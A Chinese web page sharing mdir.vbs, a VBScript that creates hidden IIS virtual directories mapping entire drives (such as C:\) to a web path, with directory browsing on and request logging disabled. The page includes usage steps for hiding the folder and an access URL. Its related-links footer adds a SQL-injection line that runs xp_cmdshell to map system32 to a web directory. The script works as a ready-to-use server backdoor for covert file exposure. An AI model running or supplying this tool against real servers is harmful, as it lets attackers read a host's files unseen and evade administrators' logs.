mdir.vbs 建立隐藏虚拟目录的vbs

建立隐藏虚拟目录使用。首先要先在对应WEB目录里建立一个目录。然后利用脚本直接在Shell中创建虚拟目录。仅仅为了方便大家使用。方法如下
C:\>mdir.vbs
***************************************************************************
Usage: MDir <-w WebSite Index>
<-v Name1,Path1,Name2,Path2,...>
Example : MDir -w 1 -v "Root/Disk-C","C:\","Root/Disk-D","D:\"
***************************************************************************
Index ServerComment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
不加任何参数时,会将IIS中所有主机头罗列出来。
如果你想在 asp.com 中创建,则需要记准对应的 Index值。格式如下
C:\inetpub\wwwroot>md Root
C:\inetpub\wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:\"
C:\inetpub\wwwroot>rd Root
就在此域名下创建了一个隐藏的虚拟目录。
访问方法:
http://asp.com/Root/Disk-c


代码如下:

'Lilo 编写
'Lilo@Bugkidz.org
On Error Resume Next
Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers

Set oArgs = WScript.Arguments
ArgComputers = Array("LocalHost")

ArgNum = 0
While ArgNum < oArgs.Count

If (ArgNum + 1) >= oArgs.Count Then
        Call DisplayUsage
    End If    
    Select Case LCase(oArgs(ArgNum))
        Case "-w":
            ArgNum = ArgNum + 1
            ArgWebSites = oArgs(ArgNum)
        Case "-v":
            ArgNum = ArgNum + 1
            ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1)
        Case "-?"
            Call DisplayUsage
    End Select    
    ArgNum = ArgNum + 1
Wend
ArgNum = 0
DirIndex = 0
MaxWeb = CLng(ListAllWeb(0))
If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage
ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) \ 2)
ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) \ 2)

if isArray(ArgVirtualDirs) then
    While ArgNum <= UBound(ArgVirtualDirs)
        ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum)
        If (ArgNum + 1) > UBound(ArgVirtualDirs) Then
            WScript.Echo "Error understanding virtual directories"
            Call DisplayUsage
        End If    
        ArgNum = ArgNum + 1
        ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum)
        ArgNum = ArgNum + 1
        DirIndex = DirIndex + 1
    Wend
end if

If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then
    Call DisplayUsage
Else
    Dim compIndex
    for compIndex = 0 to UBound(ArgComputers)
        Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
    next
End If

Sub Display(Msg)
    WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg
End Sub

Sub Trace(Msg)
    WScript.Echo Now & " : " & Msg    
End Sub

Sub DisplayUsage()
    WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & "            <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:\"",""Root/Disk-D"",""D:\""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1)
    WScript.Quit
End Sub

Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
    Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum
    On Error Resume Next
    Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName)
    if IsObject(webSite) then
        set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root")
        Trace "Accessing Root For " & webSite.ADsPath
        If (Err <> 0) Then
            Display "Unable To Access Root for " & webSite.ADsPath
        Else
            DirNum = 0
            If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then
                While DirNum < UBound(DirNames)
                    Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
                    If (Err <> 0) Then
                        Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"."
                    Else
                        vDir.EnableDirBrowsing      = True
                        vDir.DirBrowseShowDate      = False
                        vDir.DirBrowseShowTime      = False
                        vDir.DirBrowseShowSize      = False
                        vDir.DirBrowseShowExtension = False
                        vDir.DirBrowseShowLongDate  = True
                        vDir.DirBrowseFlags         = -1073741762
                        vDir.AccessRead             = True
                        vDir.AccessWrite            = False
                        vDir.AccessExecute          = False
                        vDir.AccessScript           = False
                        vDir.AccessSource           = False
                        vDir.AccessNoRemoteRead     = False
                        vDir.AccessNoRemoteWrite    = False
                        vDir.AccessNoRemoteExecute  = False
                        vDir.AccessNoRemoteScript   = False
                        vDir.AppIsolated            = 1
                        vDir.AccessFlags            = 1
                        vDir.ContentIndexed         = False
                        vDir.CreateProcessasUser    = False
                        vDir.DontLog                = True
'                        vDir.DefaultDoc             = ""
                        vDir.EnableDefaultDoc       = False
                        vDir.AppFriendlyName        = ""
                        vDir.AppCreate2 3
                        vDir.Path = DirPaths(DirNum)
                        If (Err <> 0) Then
                            Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid."
                        Else
                            'Save the changes
                            vDir.SetInfo
                            If (Err <> 0) Then
                                Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"."
                            Else
                                Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully."
                            End If
                        End If
                    End If
                    Err = 0
                    DirNum = DirNum + 1
                Wend
            End If
        End If
    else
        Display "Unable To Find "& WebSiteName &" on "& ComputerName
    End if
    Trace "Done."
End Sub

Function ListAllWeb(n)
    Set ObjService=GetObject("IIS://LocalHost/W3SVC")
    If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0
    For Each obj3w In objservice
        If IsNumeric(obj3w.Name) Then
            sServerName=Obj3w.ServerComment
            If n = 1 Then
                ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf
            Else
                ListAllWeb = ListAllWeb + 1
            End If
        End If
    Next
    if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb
    Set ObjService=Nothing
End Function

(0)

相关推荐

  • mdir.vbs 建立隐藏虚拟目录的vbs

    建立隐藏虚拟目录使用.首先要先在对应WEB目录里建立一个目录.然后利用脚本直接在Shell中创建虚拟目录.仅仅为了方便大家使用.方法如下 C:\>mdir.vbs *************************************************************************** Usage: MDir <-w WebSite Index> <-v Name1,Path1,Name2,Path2,...> Example : MDir -w 

  • 使用 iisftpdr.vbs 创建 FTP 虚拟目录的方法

    应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 可以使用命令行脚本 iisftpdr.vbs(存储在 systemroot\System32\ 中)在运行带有 IIS 6.0 的 Windows Server 2003 家族成员的本地或远程计算机上创建新的 FTP 虚拟目录.该命令不创建或破坏内容,而只是简单地设置虚拟目录结构和 IIS 配置文件. 如果没有iisftpdr.vbs文件可

  • 使用 Iisftpdr.vbs 列出FTP虚拟目录(支持远程与本地)

    应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 可使用命令行脚本 iisftpdr.vbs(存储在 systemroot\system32 中)列出运行带有 IIS 6.0 的 Windows Server 2003 家族的成员的本地或远程计算机上的 FTP 虚拟目录. /query 操作只显示虚拟目录而不显示物理目录.而且,它只显示位于 FTP 站点或路径根目录下的虚拟目录且不进行递归

  • 使用 Iisftpdr.vbs 删除FTP虚拟目录(支持本地与远程)

    应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 可以使用命令行脚本 iisftpdr.vbs(存储在 systemroot\System32 中)在运行带有 IIS 6.0 的 Windows Server 2003 家族成员的本地或远程计算机上删除 FTP 虚拟目录.该命令不创建或破坏内容,而只是删除虚拟目录结构. 不应使用此命令删除 FTP 站点,因为这些站点可能仍被列出但已部分禁用

  • iisvdir.vbs iis虚拟目录管理脚本使用介绍

    IIS管理器也是通过调用iisvdir.vbs来实现虚拟目录的创建和删除的.我们可以通过命令行的方式来执行iisvdir.vbs脚本 1)创建虚拟目录: cscript c:\windows\system32\iisvdir.vbs [/s server] [/u username /p password] /create [virtualRoot] Alias PhysicalPath 2)删除虚拟目录: 1cscript c:\windows\system32\iisvdir.vbs [/s

  • CMD下建立虚拟目录的方法

    以下是丑要饭的<web数据分离>    web 和 数据分离,有Pcanywhere,数据库服务器有 IIS, cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一个Web服务的端口 cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir创建一个虚拟目录wode

  • asp.net 文件路径之获得虚拟目录的网站的根目录

    string Server.MapPath(string path) 返回与Web服务器上的指定虚拟路径相对应的物理文件路径. Server.MapPath(Request.ServerVariables["PATH_INFO"]) Server.MapPath("/") Server.MapPath("") Server.MapPath(".") Server.MapPath("../") Server.

  • 用vbs控制iis创建虚拟目录的代码

    参照了Inetpub\AdminScripts\adsutil.vbs写的创建虚拟目录的脚本: 复制代码 代码如下: '////////////////////////// begin ////////////////////////////////////////// On Error Resume Next   strVirtualDirectoryName = InputBox("请输入虚拟目录名")   If strVirtualDirectoryName = "&q

  • 改进后的mkw3site.vbs(创建虚拟目录)

    '--------------------------------------------------------------------------------------------------- ' 创建虚拟目录  POWER BY JARON , 江都资讯网 , 1999-2002.  ' 如果您需要设置权限,请修改40-56 的代码. ** 根据 Microsoft Corp. 的 AdminScripts 改写 ' ' 用法: mkw3site <--RootDirectory|-r

  • sql server注入建立虚拟目录的方法

    exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 建立虚拟目录win,指向c:\winnt\system32 exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.

随机推荐